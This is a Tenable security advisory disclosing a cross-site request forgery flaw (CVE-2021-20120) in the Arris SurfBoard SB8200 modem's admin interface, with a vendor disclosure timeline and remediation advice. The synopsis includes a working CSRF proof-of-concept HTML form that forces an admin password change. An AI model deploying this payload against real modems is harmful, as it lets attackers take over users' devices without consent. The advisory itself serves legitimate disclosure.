tenable

Arris SurfBoard SB8200 Cross Site Request Forgery

High

← View More Research Advisories

Synopsis

The administration web interface for the SB8200 lacks any protections against cross-site request forgery attacks. This means that an attacker could make configuration changes (such as changing the administrative password) without the consent of the user. A proof of concept web page can be constructed as follows:

```
<html>
 <!-- CSRF PoC - generated by Burp Suite Professional -->
 <body>
 <script>history.pushState('', '', '/')</script>
 <form action="https://192.168.100.1/changepwd_tab.html?YWRtaW46c2FwcGhpcmUx" method="POST">
 <input type="submit" value="Submit request" />
 </form>
 </body>
</html>
```

The above forces a change to the password of the admin user.

Solution

Arris has released updated firmware images to service providers that utilize these devices in their infrastructure. Because these are DOCSIS devices, service providers are ultimately responsible for incorporating Arris-supplied patches into their own customized images and update processes. End users are generally unable to obtain these updates and apply them on their own. Users that are concerned about the issue described in this advisory should verify that they are using the latest available firmware as supplied by their service provider.

Disclosure Timeline

August 9, 2021 - Tenable attempts to contact vendor via webform. Vendor responds with contact information. Tenable discloses. Vendor acknowledges.
August 10, 2021 - Vendor requests additional information. Tenable responds.
August 31, 2021 - Vendor requests additional information. Tenable responds.
September 1, 2021 - Vendor acknowledges.
September 7, 2021 - Tenable requests status update. Vendor responds.
September 10, 2021 - Tenable provides requested CVE identifiers.
October 12, 2021 - Tenable requests status update. Vendor asks for clarification about this request.
October 13, 2021 - Tenable provides clarification.
October 15, 2021 - Vendor provides status update and requests additional information, expressing concerns about disclosure of information.
October 20, 2021 - Vendor provides update status.

All information within TRA advisories is provided "as is", without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email advisories@tenable.com

Risk Information

CVE ID: CVE-2021-20120
Tenable Advisory ID: TRA-2021-45
Credit: Jimi Sebree

CVSSv3 Base / Temporal Score: 8.0 / 7.2
CVSSv3 Vector: AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Affected Products: Arris SurfBoard SB8200 AB01.02.053.01_112320_193.0A.NSH
Risk Factor: High

Advisory Timeline

October 20, 2021 - Initial release.

- Tenable.ot Operational Technology
- Tenable.sc Security Center
- Tenable Lumin
- Nessus
- → View all Products

FEATURED SOLUTIONS

- Application Security
- Building Management Systems
- Cloud Security Posture Management
- Compliance
- Exposure Management
- Finance
- Healthcare
- IT/OT
- Ransomware
- State / Local / Education
- US Federal
- Vulnerability Management
- Zero Trust
- → View all Solutions

CUSTOMER RESOURCES

- Resource Library
- Community & Support
- Customer Education
- Tenable Research
- Documentation
- Trust and Assurance
- Nessus Resource Center
- Cyber Exposure Fundamentals
- System Status

CONNECTIONS

- Blog
- Contact Us
- Careers
- Investors
- Events
- Media

Privacy Policy Legal 508 Compliance